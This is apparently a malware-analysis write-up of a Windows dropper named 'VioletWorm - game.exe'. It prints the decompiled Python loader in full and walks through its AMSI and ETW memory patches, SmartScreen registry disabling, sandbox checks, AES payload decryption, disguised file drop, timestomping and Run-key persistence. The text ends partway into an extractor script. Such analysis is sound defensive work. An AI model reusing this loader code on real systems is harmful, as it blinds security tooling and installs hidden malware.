← Reports

Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author
Moise Medici
Updated
07 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Dropping Secondary PayloadsPersistence MechanismsCommand and Control C2 CommunicationCommand Execution via Powershell Cmd BashData-ExfiltrationFile EncryptionKeyloggingScreen CaptureWebcam AccessClipboard ManipulationCredential TheftAMSI and ETW BypassSandbox and VM EvasionReflective Code LoadingUSB SpreadingDenial of Service
Tags
pythonC#

Code Analysis of loader.py

The content of the Python file is:

loader.py
import os, sys, base64, gzip, tempfile, subprocess, ctypes, time, winreg, traceback as tb, random; DEBUG_MODE = False; DEBUG_LOG_PATH = os.path.join(tempfile.gettempdir(), "loader_debug.log")
def debug_log(step, status, details, exception):
try:
if DEBUG_MODE:
import datetime
GREEN = "\x1b[92m"
RED = "\x1b[91m"
YELLOW = "\x1b[93m"
CYAN = "\x1b[96m"
RESET = "\x1b[0m"
status_str = status and "[FAIL]"
color = status and RED
timestamp = datetime.datetime.now().strftime("%H:%M:%S.%f")[:-3]
msg = f"[{timestamp}] {status_str} {step}: {details}"
print(f"{color}{msg}{RESET}")
if exception is None:
print(f"{YELLOW} └── Exception Type: {type(exception).__name__}{RESET}")
print(f"{YELLOW} └── Exception Args: {exception.args}{RESET}")
tb_lines = tb.format_exception(type(exception), exception, exception.__traceback__)
for line in tb_lines:
for subline in line.strip().split("\n"):
print(f"{CYAN} {subline}{RESET}")
None
sys.stdout.flush()
try:
with open(DEBUG_LOG_PATH, "a", encoding="utf-8") as f:
f.write(msg + "\n")
if exception is None:
f.write(f" Exception: {type(exception).__name__}: {exception}\n")
for line in tb.format_exception(type(exception), exception, exception.__traceback__):
f.write(f" {line}")
open(DEBUG_LOG_PATH, "a", encoding="utf-8").__exit__
return open(DEBUG_LOG_PATH, "a", encoding="utf-8")
except:
pass
return
except:
pass
def debug_var(name, value):
if DEBUG_MODE:
CYAN = "\x1b[96m"
RESET = "\x1b[0m"
val_repr = repr(value)
val_repr = len(val_repr) > 200 and val_repr[slice(None, 200, None)] + "... (truncated)"
print(f"{CYAN} [VAR] {name} = {val_repr}{RESET}")
sys.stdout.flush()
def debug_info(message):
if DEBUG_MODE:
CYAN = "\x1b[96m"
RESET = "\x1b[0m"
print(f"{CYAN} [INFO] {message}{RESET}")
sys.stdout.flush()
def bypass_amsi():
try:
kernel32 = ctypes.windll.kernel32
amsi_dll = kernel32.LoadLibraryA("amsi.dll")
if not amsi_dll:
debug_log("AMSI Bypass", False, "Could not load amsi.dll")
return False
amsi_scan_buffer = kernel32.GetProcAddress(amsi_dll, "AmsiScanBuffer")
if not amsi_scan_buffer:
debug_log("AMSI Bypass", False, "Could not find AmsiScanBuffer")
return False
patch = "�W\x00\x07��"
old_protect = ctypes.c_ulong()
kernel32.VirtualProtect(ctypes.c_void_p(amsi_scan_buffer), len(patch), 64, ctypes.byref(old_protect))
ctypes.memmove(ctypes.c_void_p(amsi_scan_buffer), patch, len(patch))
kernel32.VirtualProtect(ctypes.c_void_p(amsi_scan_buffer), len(patch), old_protect.value, ctypes.byref(old_protect))
debug_log("AMSI Bypass", True, "AmsiScanBuffer patched successfully")
return True
return False
except:
pass
try:
bypass_amsi()
def bypass_etw():
try:
kernel32 = ctypes.windll.kernel32
ntdll = kernel32.GetModuleHandleA("ntdll.dll")
if not ntdll:
debug_log("ETW Bypass", False, "Could not get ntdll handle")
return False
etw_event_write = kernel32.GetProcAddress(ntdll, "EtwEventWrite")
if not etw_event_write:
debug_log("ETW Bypass", False, "Could not find EtwEventWrite")
return False
patch = "1��"
old_protect = ctypes.c_ulong()
kernel32.VirtualProtect(ctypes.c_void_p(etw_event_write), len(patch), 64, ctypes.byref(old_protect))
ctypes.memmove(ctypes.c_void_p(etw_event_write), patch, len(patch))
kernel32.VirtualProtect(ctypes.c_void_p(etw_event_write), len(patch), old_protect.value, ctypes.byref(old_protect))
debug_log("ETW Bypass", True, "EtwEventWrite patched successfully")
return True
return False
except:
pass
bypass_etw()
ctypes.windll.kernel32.FreeConsole()
hwnd = ctypes.windll.kernel32.GetConsoleWindow()
if hwnd:
pass
ctypes.windll.user32.ShowWindow(hwnd, 0)
def bypass_smartscreen():
debug_log("SmartScreen", True, "Starting SmartScreen bypass...")
try:
import shutil
exe_path = sys.executable
zone_file = exe_path + ":Zone.Identifier"
if os.path.exists(zone_file):
os.remove(zone_file)
debug_log("SmartScreen", True, "Removed MOTW from self")
trusted_paths = [os.environ.get("PROGRAMFILES", ""),
os.environ.get("PROGRAMFILES(X86)", ""),
os.environ.get("WINDIR", ""),
os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft")]
in_trusted = False
for tp in trusted_paths:
if not tp:
pass
in_trusted = exe_path.lower().startswith(tp.lower()) or True
debug_log("SmartScreen", True, f"Already in trusted path: {tp}")
None
if not in_trusted:
trusted_dest = os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft", "Windows", "RuntimeBroker.exe")
os.makedirs(os.path.dirname(trusted_dest), exist_ok=True)
if os.path.exists(trusted_dest) or os.path.getsize(trusted_dest) != os.path.getsize(exe_path):
shutil.copy2(exe_path, trusted_dest)
debug_log("SmartScreen", True, f"Copied to trusted location: {trusted_dest}")
os.remove(trusted_dest + ":Zone.Identifier")
ctypes.windll.kernel32.SetFileAttributesW(trusted_dest, 2)
debug_log("SmartScreen", True, "Relaunching from trusted location...")
subprocess.Popen(trusted_dest, creationflags=134_217_728)
sys.exit(0)
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "EnableSmartScreen", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
debug_log("SmartScreen", True, "Disabled SmartScreen via HKLM policy")
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\AppHost", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "EnableWebContentEvaluation", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
debug_log("SmartScreen", True, "Disabled web content evaluation via HKCU")
debug_log("SmartScreen", True, "SmartScreen bypass complete")
except:
pass
except Exception:
debug_log("SmartScreen", False, f"Copy to trusted failed: {e}")
try:
pass
except Exception:
debug_log("SmartScreen", False, "Bypass failed", e)
bypass_smartscreen()
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
def main():
import random; start_time = time.time(); dummy_result = 0
for i in range(1_000_000):
dummy_result += i * 2
dummy_result = i % 1000 == 0 or dummy_result % 999_999
random
elapsed = time.time() - start_time
if elapsed < 0.01:
debug_log("Anti-Sandbox", False, f"Detected time acceleration ({elapsed:.4f}s < 0.01s), exiting...")
sys.exit(0); debug_log("Anti-Sandbox", True, f"CPU timing normal ({elapsed:.3f}s, result={dummy_result})")
try:
test_dir = tempfile.gettempdir()
test_file = os.path.join(test_dir, f"_test_{random.randint(10_000, 99_999)}.tmp")
with open(test_file, "wb") as f:
f.write(os.urandom(10_240))
time.sleep(0.1)
os.remove(test_file)
debug_log("Anti-Sandbox", True, "Disk I/O test passed")
debug_log("LOADER", True, "=== LOADER STARTED ===")
debug_log("Decrypt", True, "Starting payload decryption...")
lvbghsbk = base64.b64decode("...< long payload> ... ")
qjzvgjdo = base64.b64decode("zp9gS8Df4N5YK1/IpaXqflDWU7QZJnc8iTnG3e1ntGk=")
ianxrcvt = base64.b64decode("xKgG1cp+6TBkM7o93MZ2bQ==")
debug_log("Base64 decode", True, f"Data: {len(lvbghsbk)} bytes, Key: {len(qjzvgjdo)} bytes")
fchxnbld = Cipher(algorithms.AES(qjzvgjdo), modes.CBC(ianxrcvt), backend=default_backend())
cilllwtt = fchxnbld.decryptor()
decrypted = cilllwtt.update(lvbghsbk) + cilllwtt.finalize()
debug_log("AES decrypt", True, f"Decrypted: {len(decrypted)} bytes")
unpadder = padding.PKCS7(128).unpadder()
decrypted = unpadder.update(decrypted) + unpadder.finalize()
debug_log("Unpadding", True, f"Unpadded: {len(decrypted)} bytes")
yhjmoblm = gzip.decompress(decrypted)
debug_log("Decompress", True, f"Decompressed payload: {len(yhjmoblm)} bytes")
debug_log("Execution", True, "Selected injection method: disk")
debug_log("Execution", True, "Using STEALTH disk execution with evasion techniques")
import random
import string
possible_dirs = [os.path.join(os.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "Caches"),
os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Recent"),
os.path.join(os.getenv("LOCALAPPDATA"), "Temp"), os.path.join(os.getenv("TEMP"))]
debug_log("Directory", True, f"Testing {len(possible_dirs)} possible directories...")
base_dir = None
for idx, d in enumerate(possible_dirs):
debug_log("Directory", True, f"[{idx + 1}/{len(possible_dirs)}] Testing: {d}")
if os.path.exists(d):
base_dir = d
debug_log("Directory", True, "✓ Directory exists and accessible")
open(test_file, "wb") if yhjmoblm[slice(None, 2, None)] != "MZ" else open(test_file, "wb").__exit__
else:
debug_log("Directory", False, "✗ Directory does not exist")
if not base_dir:
base_dir = tempfile.gettempdir()
debug_log("Directory", True, f"Using fallback: {base_dir}")
debug_log("Directory", True, f"SELECTED: {base_dir}")
legit_prefixes = ["svc", "wmi", "dwm", "csrss", "lsass", "smss", "win", "ms", "sys", "host", "update", "runtime", "service"]
legit_suffixes = ["host", "svc", "core", "runtime", "helper", "manager", "monitor", "handler"]
prefix = random.choice(legit_prefixes)
suffix = random.choice(legit_suffixes)
random_part = "".join(random.choices((string.ascii_lowercase) + (string.digits), k=4))
filename = f"{prefix}{suffix}{random_part}.exe"
bsjrtnyv = os.path.join(base_dir, filename)
debug_log("Filename", True, f"Prefix: {prefix}, Suffix: {suffix}, Random: {random_part}")
debug_log("Filename", True, f"Generated filename: {filename}")
debug_log("Filename", True, f"Full path: {bsjrtnyv}")
debug_log("File write", True, f"Starting chunked write of {len(yhjmoblm)} bytes...")
chunk_size = 8192
total_chunks = (len(yhjmoblm) + chunk_size - 1) // chunk_size
debug_log("File write", True, f"Chunk size: {chunk_size} bytes, Total chunks: {total_chunks}")
with open(bsjrtnyv, "wb") as f:
total_written = 0
chunk_num = 0
for i in range(0, len(yhjmoblm), chunk_size):
chunk = yhjmoblm[i:i + chunk_size]
f.write(chunk)
total_written += len(chunk)
chunk_num += 1
if chunk_num % 10 == 0 or chunk_num == total_chunks:
progress = total_written / len(yhjmoblm) * 100
debug_log("File write", True, f"Progress: {chunk_num}/{total_chunks} chunks ({progress:.1f}%)")
delay = random.uniform(0.001, 0.005)
time.sleep(delay)
open(bsjrtnyv, "wb").__exit__
f.flush()
os.fsync(f.fileno())
debug_log("File write", True, "Flushed and synced to disk")
if os.path.exists(bsjrtnyv):
file_size = os.path.getsize(bsjrtnyv)
debug_log("File write", True, "✓ File created successfully")
debug_log("File write", True, f"Written: {total_written} bytes, File size: {file_size} bytes")
if file_size != len(yhjmoblm):
pass
debug_log("File write", False, f"⚠ SIZE MISMATCH! Expected {len(yhjmoblm)}, got {file_size}")
else:
debug_log("File write", False, "✗ File does not exist after write!")
debug_log("File attrs", True, "Setting file attributes...")
result = ctypes.windll.kernel32.SetFileAttributesW(bsjrtnyv, 6)
debug_log("Timestomp", True, "Starting timestamp modification...")
system_file = os.path.join(os.getenv("SYSTEMROOT", "C:\\Windows"), "System32", "kernel32.dll")
debug_log("Timestomp", True, f"Target system file: {system_file}")
if os.path.exists(system_file):
stat_info = os.stat(system_file)
original_atime = os.path.getatime(bsjrtnyv)
original_mtime = os.path.getmtime(bsjrtnyv)
debug_log("Timestomp", True, f"Source timestamps - Access: {stat_info.st_atime}, Modify: {stat_info.st_mtime}")
debug_log("Timestomp", True, f"Original timestamps - Access: {original_atime}, Modify: {original_mtime}")
os.utime(bsjrtnyv, (stat_info.st_atime,
stat_info.st_mtime))
new_atime = os.path.getatime(bsjrtnyv)
new_mtime = os.path.getmtime(bsjrtnyv)
debug_log("Timestomp", True, f"New timestamps - Access: {new_atime}, Modify: {new_mtime}")
debug_log("Timestomp", True, "✓ Timestamp copied from kernel32.dll")
else:
debug_log("Timestomp", False, f"✗ kernel32.dll not found at {system_file}")
sleep_time = random.uniform(0.5, 1.5)
debug_log("Pre-exec delay", True, f"Sleeping {sleep_time:.2f}s before execution...")
time.sleep(sleep_time)
debug_log("Pre-exec delay", True, "✓ Sleep completed")
debug_log("Execution", True, "=== STARTING PAYLOAD EXECUTION ===")
debug_log("Execution", True, f"Executable path: {bsjrtnyv}")
debug_log("Execution", True, "Creating STARTUPINFO structure...")
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = 0
debug_log("Execution", True, "STARTUPINFO configured: dwFlags with STARTF_USESHOWWINDOW, wShowWindow=0 (SW_HIDE)")
creation_flags = 134_218_248
debug_log("Execution", True, f"Creation flags: 0x{creation_flags:08X}")
debug_log("Execution", True, " - CREATE_NO_WINDOW (0x08000000)")
debug_log("Execution", True, " - DETACHED_PROCESS (0x00000008)")
debug_log("Execution", True, " - CREATE_NEW_PROCESS_GROUP (0x00000200)")
debug_log("Execution", True, "Calling subprocess.Popen...")
yfvcglgn = subprocess.Popen(bsjrtnyv, startupinfo=startupinfo, shell=False, creationflags=creation_flags, close_fds=True, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
debug_log("Execution", True, f"✓ PE started from disk: {bsjrtnyv}")
debug_log("Execution", True, f"✓ Process PID: {yfvcglgn.pid}")
debug_log("Execution", True, f"✓ Process handle: {yfvcglgn}")
cleanup_delay = random.uniform(10.0, 15.0)
debug_log("Post-exec delay", True, f"Waiting {cleanup_delay:.1f}s for process initialization...")
debug_log("Post-exec delay", True, "This allows the payload to fully start before cleanup")
time.sleep(cleanup_delay)
debug_log("Post-exec delay", True, "✓ Initialization delay completed")
debug_log("Cleanup", True, "Preparing cleanup function...")
def delayed_cleanup():
max_attempts = 10
try:
debug_log("Cleanup", True, f"Cleanup thread started, max attempts: {max_attempts}")
for attempt in range(max_attempts):
debug_log("Cleanup", True, f"Attempt {attempt + 1}/{max_attempts}")
if os.path.exists(bsjrtnyv):
debug_log("Cleanup", True, f"File still exists: {bsjrtnyv}")
result = ctypes.windll.kernel32.SetFileAttributesW(bsjrtnyv, 128)
os.remove(bsjrtnyv)
debug_log("Cleanup", True, f"✓ File deleted successfully on attempt {attempt + 1}")
debug_log("Cleanup", True, "✓ File attributes reset to NORMAL") if result != 0 else None
return True
debug_log("Cleanup", True, "File already deleted")
return True
debug_log("Cleanup", False, f"✗ Could not delete file after {max_attempts} attempts (may still be in use)")
return False
except:
debug_log("Cleanup", False, f"Attribute reset exception: {attr_ex}")
except Exception as ex:
debug_log("Cleanup", False, f"Attempt {attempt + 1} failed: {ex}")
debug_log("Cleanup", True, f"Retrying in {retry_delay:.1f}s...")
time.sleep(retry_delay)
debug_log("Cleanup", True, "Starting cleanup thread (daemon mode)...")
import threading
cleanup_thread = threading.Thread(target=delayed_cleanup)
cleanup_thread.daemon = True
cleanup_thread.start()
debug_log("Cleanup", True, "✓ Cleanup thread started successfully (daemon=True)")
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "WindowsDefender", 0, winreg.REG_SZ, sys.executable)
winreg.CloseKey(key)
debug_log("Persistence", True, "Added to HKCU Run: WindowsDefender")
debug_log("LOADER", True, "=== EXECUTION COMPLETE ===")
if DEBUG_MODE:
print("\n==================================================")
print("DEBUG LOG saved to: " + os.path.join(tempfile.gettempdir(), "loader_debug.log"))
print("==================================================")
input("Press ENTER to close...")
return
except:
pass
except Exception:
debug_log("Directory", False, f"✗ Exception: {ex}")
try:
pass
except Exception as e:
debug_log("File write", False, f"Write failed: {e}", exception=e)
raise
try:
pass
except Exception:
e = None
debug_log("File attrs", False, f"Exception: {e}", exception=e)
try:
pass
except Exception:
e = None
debug_log("Timestomp", False, f"Exception: {e}", exception=e)
try:
pass
except Exception:
e = None
debug_log("Execution", False, f"Primary Popen failed: {e}", exception=e)
debug_log("Execution", True, "Attempting fallback method 1: Simple Popen...")
yfvcglgn = sp.Popen(bsjrtnyv, creationflags=134_217_728, shell=False)
debug_log("Execution", True, f"✓ Started via simple Popen: PID {yfvcglgn.pid}")
try:
pass
except Exception as e2:
debug_log("Execution", False, f"Simple Popen failed: {e2}", exception=e2)
debug_log("Execution", True, "Attempting fallback method 2: os.startfile...")
os.startfile(bsjrtnyv)
debug_log("Execution", True, "✓ Started via os.startfile (no PID available)")
try:
pass
except Exception as e3:
debug_log("Execution", False, f"✗ os.startfile failed: {e3}", exception=e3)
debug_log("Execution", False, "✗ ALL EXECUTION METHODS FAILED!")
raise
try:
pass
except Exception:
thread_ex = None
debug_log("Cleanup", False, f"Threading failed: {thread_ex}", exception=thread_ex)
debug_log("Cleanup", False, "File will remain on disk")
try:
pass
except Exception:
e = None
debug_log("Persistence", False, f"HKCU Run failed: {e}")
if __name__ == "__main__":
if DEBUG_MODE:
print("==================================================")
print(" LOADER DEBUG MODE ENABLED")
print("==================================================\n")
main()
except:
pass

A couple of things are worth noting:

  1. A long encoded string has been intentionally truncated from the code above to avoid wasting space.
  2. Some return statements and sys.exit calls seem to be indented incorrectly, causing the script to finish early; these are most likely decompilation mistakes.

The functions defined in the file are:

def debug_log(step, status, details, exception):
def debug_var(name, value):
def debug_info(message):
def bypass_amsi():
def bypass_etw():
def bypass_smartscreen():
def main():
def delayed_cleanup():

The first three and the last functions are what their names suggest: logging helpers that are not particularly interesting to analyze. More interesting are the bypass functions and, of course, main.

The first one, bypass_amsi, targets the Windows AMSI service (Anti-Malware Scan Interface) 4, which interacts with EDRs and AVs by inspecting processes before they execute. The service has been targeted by many malware families, especially through techniques that disable it by crashing it. The method implemented in this sample is well known and consists of patching the AmsiScanBuffer 5 function in memory.

In more detail, the function dynamically loads AmsiScanBuffer (see Load Library for more details), then changes the permissions of the memory region containing AmsiScanBuffer to PAGE_EXECUTE_READWRITE using VirtualProtect 6. The new permissions are set to 0x40 (64 as an integer) 7.

Following that, memmove 8 copies the contents of patch into the memory region of AmsiScanBuffer. The permissions are then restored. The contents of patch are likely 0xB8, 0x57, 0x00, 0x07, 0x80, which translates to the assembly instruction mov eax, 0x80070057 9. This is speculative: the decompiler replaces every non-ASCII byte with , so the exact bytes cannot be read directly from the decompiled source.

If this assumption is correct, the purpose of patching AmsiScanBuffer is to make the AMSI service crash so that the sample can continue executing without it.

loader.py
def bypass_amsi():
try:
kernel32 = ctypes.windll.kernel32
amsi_dll = kernel32.LoadLibraryA("amsi.dll")
amsi_scan_buffer = kernel32.GetProcAddress(amsi_dll, "AmsiScanBuffer")
patch = "�W\x00\x07��"
old_protect = ctypes.c_ulong()
pointer_to_amsiscan = ctypes.c_void_p(amsi_scan_buffer)
kernel32.VirtualProtect(
pointer_to_amsiscan, len(patch), 64, ctypes.byref(old_protect)
)
ctypes.memmove(ctypes.c_void_p(amsi_scan_buffer), patch, len(patch))
kernel32.VirtualProtect(
pointer_to_amsiscan,
len(patch),
old_protect.value,
ctypes.byref(old_protect),
)
debug_log("AMSI Bypass", True, "AmsiScanBuffer patched successfully")
return True
except:
pass

bypass_etw applies the same concept as the AMSI patch, but to ETW (Event Tracing for Windows) 10. The function loads the EtwEventWrite procedure 11 instead. The purpose is to prevent the client from logging while the sample performs malicious activities.

loader.py
def bypass_etw():
kernel32 = ctypes.windll.kernel32
ntdll = kernel32.GetModuleHandleA("ntdll.dll")
etw_event_write = kernel32.GetProcAddress(ntdll, "EtwEventWrite")
patch = "1��"
old_protect = ctypes.c_ulong()
kernel32.VirtualProtect(
ctypes.c_void_p(etw_event_write),
len(patch),
64,
ctypes.byref(old_protect),
)
ctypes.memmove(ctypes.c_void_p(etw_event_write), patch, len(patch))
kernel32.VirtualProtect(
ctypes.c_void_p(etw_event_write),
len(patch),
old_protect.value,
ctypes.byref(old_protect),
)

Last on the list of bypass functions is the SmartScreen one:

loader.py
def bypass_smartscreen():
import shutil
exe_path = sys.executable
zone_file = exe_path + ":Zone.Identifier"
if os.path.exists(zone_file):
os.remove(zone_file)
trusted_paths = [
os.environ.get("PROGRAMFILES", ""),
os.environ.get("PROGRAMFILES(X86)", ""),
os.environ.get("WINDIR", ""),
os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft"),
]
in_trusted = False
for tp in trusted_paths:
if not tp:
pass
in_trusted = exe_path.lower().startswith(tp.lower()) or True
if not in_trusted:
trusted_dest = os.path.join(
os.environ.get("LOCALAPPDATA", ""),
"Microsoft",
"Windows",
"RuntimeBroker.exe",
)
os.makedirs(os.path.dirname(trusted_dest), exist_ok=True)
if os.path.exists(trusted_dest) or os.path.getsize(
trusted_dest
) != os.path.getsize(exe_path):
shutil.copy2(exe_path, trusted_dest)
debug_log(
"SmartScreen",
True,
f"Copied to trusted location: {trusted_dest}",
)
os.remove(trusted_dest + ":Zone.Identifier")
ctypes.windll.kernel32.SetFileAttributesW(trusted_dest, 2)
subprocess.Popen(trusted_dest, creationflags=134_217_728)
key = winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows\\System",
0,
winreg.KEY_SET_VALUE,
)
winreg.SetValueEx(key, "EnableSmartScreen", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\AppHost",
0,
winreg.KEY_SET_VALUE,
)
winreg.SetValueEx(key, "EnableWebContentEvaluation", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)

It starts by finding the path of the Python interpreter executable. For example, on my machine the value of sys.executable is C:\\Users\\REM\\AppData\\Local\\Programs\\Python\\Python39\\python.exe. If the path with the stream name Zone.Identifier appended is found, the stream is removed. When a file is downloaded from the internet, Internet Explorer creates a second stream with the same name as the downloaded file and appends the :Zone.Identifier:$DATA characters 12. This marks the file as having come from the internet, allowing a security policy to be applied. For example, on my machine I downloaded the newest version of a few files:

C:\Users\REM\Downloads>dir /r
Volume in drive C has no label.
Volume Serial Number is A2C9-AD2F
Directory of C:\Users\REM\Downloads
05/16/2026 07:13 AM <DIR> .
05/16/2026 07:13 AM <DIR> ..
02/09/2026 03:02 PM 27,167,600 010EditorWin64Installer16.0.3.exe
137 010EditorWin64Installer16.0.3.exe:Zone.Identifier:$DATA
02/23/2026 01:27 PM 13,321,645 0ac01bbf4c670f88055ac3900c5f94b00eb79b62f05b5e32236d395bd6d859d4.zip
172 0ac01bbf4c670f88055ac3900c5f94b00eb79b62f05b5e32236d395bd6d859d4.zip:Zone.Identifier:$DATA
02/28/2026 01:09 PM 267,836 base64.txt
114 base64.txt:Zone.Identifier:$DATA
05/16/2026 07:13 AM 15,872 bypass.exe
114 bypass.exe:Zone.Identifier:$DATA
05/10/2026 05:13 AM 12,550,795 e450b7efc8b429b618d2d22a074a3dd55c07b451eef315e0e20be7d9054ef18c.zip
172 e450b7efc8b429b618d2d22a074a3dd55c07b451eef315e0e20be7d9054ef18c.zip:Zone.Identifier:$DATA
02/23/2026 01:29 PM 1,050,580 pestudio(1).zip
116 pestudio(1).zip:Zone.Identifier:$DATA
02/23/2026 01:29 PM 1,050,580 pestudio.zip
116 pestudio.zip:Zone.Identifier:$DATA
7 File(s) 55,424,908 bytes
2 Dir(s) 64,475,299,840 bytes free

The code from line 15 to line 43 will never execute because of a bug in how in_trusted is set. The malware author meant to write, “if the Python interpreter path is in a list of trusted paths, set in_trusted to True; otherwise, leave it as False.” The code actually does this: “if the Python interpreter path is in a list of trusted paths, set in_trusted to True; otherwise, set it to True anyway.” The list of trusted paths contains Program Files, Program Files (x86), C:\Windows, and Appdata\Local\Microsoft. If the interpreter is not in one of those directories, the sample copies it to AppData\Local\Microsft\Windows, renames it RuntimeBroker.exe, removes the Zone.Identifier, and sets the file attribute to hidden using SetFileAttribute with parameter 2 13. Once hidden, it is executed with a creationFlag of 134217728.

The meaning of that value is not documented in the Python docs for subprocess 14, but it can be found by reading the source code of the subprocess module. With subprocess.__file__ the path of the module can be found:

>>> import subprocess
>>> subprocess.__file__

which shows that all the Windows constants are imported from _winapi:

subprocess.py
if _mswindows:
import _winapi
from _winapi import (CREATE_NEW_CONSOLE, CREATE_NEW_PROCESS_GROUP, # noqa: F401
STD_INPUT_HANDLE, STD_OUTPUT_HANDLE,
STD_ERROR_HANDLE, SW_HIDE,
STARTF_USESTDHANDLES, STARTF_USESHOWWINDOW,
STARTF_FORCEONFEEDBACK, STARTF_FORCEOFFFEEDBACK,
ABOVE_NORMAL_PRIORITY_CLASS, BELOW_NORMAL_PRIORITY_CLASS,
HIGH_PRIORITY_CLASS, IDLE_PRIORITY_CLASS,
NORMAL_PRIORITY_CLASS, REALTIME_PRIORITY_CLASS,
CREATE_NO_WINDOW, DETACHED_PROCESS,
CREATE_DEFAULT_ERROR_MODE, CREATE_BREAKAWAY_FROM_JOB)

Printing a random one, like CREATE_NEW_CONSOLE, returns a number:

>>> print(_winapi.CREATE_NEW_CONSOLE)
16

At this point it is simple to iterate over all the constants defined in _winapi and check which one matches 134_217_728:

>>> for p in dir(_winapi):
... if getattr(_winapi, p) == 134_217_728:
... print(p)
...
CREATE_NO_WINDOW
SEC_COMMIT

The candidates are CREATE_NO_WINDOW and SEC_COMMIT, with the first being the only valid one, since SEC_COMMIT is not a valid flag for process creation 15.

So the whole point is to run the process without any visible window on the screen. If the interpreter is in a trusted path, which as a reminder is always the case due to the bug at line 20, two registry keys are set to 0:

  • HKLM\SOFTWARE\Policies\Microsoft\Windows\System\EnableSmartScreen
  • HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost\EnableWebContentEvaluation

The first one is used to disable Microsoft Defender SmartScreen, and the second to turn off the “Turn on Microsoft Defender SmartScreen to check web content that Microsoft Store apps use” policy 16.

The main function starts with a very basic time check to see if the code is executed in a sandbox, though it does not look particularly effective, since 1 million iterations of a computationally intensive operation like the modulo the author wrote will never take below 10 milliseconds.

In any case, the core of the file is the following lines:

loader.py
lvbghsbk = base64.b64decode(long_base64)
qjzvgjdo = base64.b64decode("zp9gS8Df4N5YK1/IpaXqflDWU7QZJnc8iTnG3e1ntGk=")
ianxrcvt = base64.b64decode("xKgG1cp+6TBkM7o93MZ2bQ==")
debug_log(
"Base64 decode",
True,
f"Data: {len(lvbghsbk)} bytes, Key: {len(qjzvgjdo)} bytes",
)
fchxnbld = Cipher(
algorithms.AES(qjzvgjdo), modes.CBC(ianxrcvt), backend=default_backend()
)

With the variables renamed, this becomes:

loader.py
long_base_decoded = base64.b64decode(long_base64)
aes_key = base64.b64decode("zp9gS8Df4N5YK1/IpaXqflDWU7QZJnc8iTnG3e1ntGk=")
cbc_value = base64.b64decode("xKgG1cp+6TBkM7o93MZ2bQ==")
cipher = Cipher(
algorithms.AES(aes_key), modes.CBC(cbc_value), backend=default_backend()
)
decryptor = cipher.decryptor()
decrypted = decryptor.update(long_base_decoded) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
decrypted = unpadder.update(decrypted) + unpadder.finalize()
decompressed = gzip.decompress(decrypted)

This indicates that the large Base64 chunk is decoded first, then decrypted, and finally decompressed. A few lines below, it is possible to see that the result is an executable that is saved somewhere:

loader.py
open(test_file, "wb") if decompressed[
slice(None, 2, None)
] != "MZ" else open(test_file, "wb").__exit__

The location where it is saved is one of the following, defined in possible_dirs:

[
'C:\\Users\\REM\\AppData\\Local\\Microsoft\\Windows\\Caches',
'C:\\Users\\REM\\AppData\\Roaming\\Microsoft\\Windows\\Recent',
'C:\\Users\\REM\\AppData\\Local\\Temp',
'C:\\Users\\REM\\AppData\\Local\\Temp'
]

The filename is a random combination of a prefix, a suffix, and four random characters:

loader.py
legit_prefixes = [
"svc",
"wmi",
"dwm",
"csrss",
"lsass",
"smss",
"win",
"ms",
"sys",
"host",
"update",
"runtime",
"service",
]
legit_suffixes = [
"host",
"svc",
"core",
"runtime",
"helper",
"manager",
"monitor",
"handler",
]
prefix = random.choice(legit_prefixes)
suffix = random.choice(legit_suffixes)
random_part = "".join(
random.choices((string.ascii_lowercase) + (string.digits), k=4)
)
filename = f"{prefix}{suffix}{random_part}.exe"

The file is then executed. As shown in the Dynamic Analysis section below, this explains the name and execution of mshost6x5y.exe. The contents of mshost6x5y.exe are therefore the contents of the large payload.

loader.py
yfvcglgn = subprocess.Popen(
exe_file_path,
startupinfo=startupinfo,
shell=False,
creationflags=creation_flags,
close_fds=True,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)

Lastly, close to the end of the file, the following registry key is written:

loader.py
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
winreg.KEY_SET_VALUE,
)
winreg.SetValueEx(key, "WindowsDefender", 0, winreg.REG_SZ, sys.executable)
winreg.CloseKey(key)

This sets HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to the generated name under the key name “WindowsDefender”. This registry key is used to run the executable automatically at startup.

And the executable ran previously gets deleted:

loader.py
os.remove(bsjrtnyv)

To finish the analysis of this file, the following script (payload_extractor.py, which can be downloaded from the zip in the Sample Download section) can be used to dump the second stage for further analysis. The script reproduces the functionality of the original script to decode and decrypt the long payload that was omitted from the code snippet.

payload_extractor.py
import gzip
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
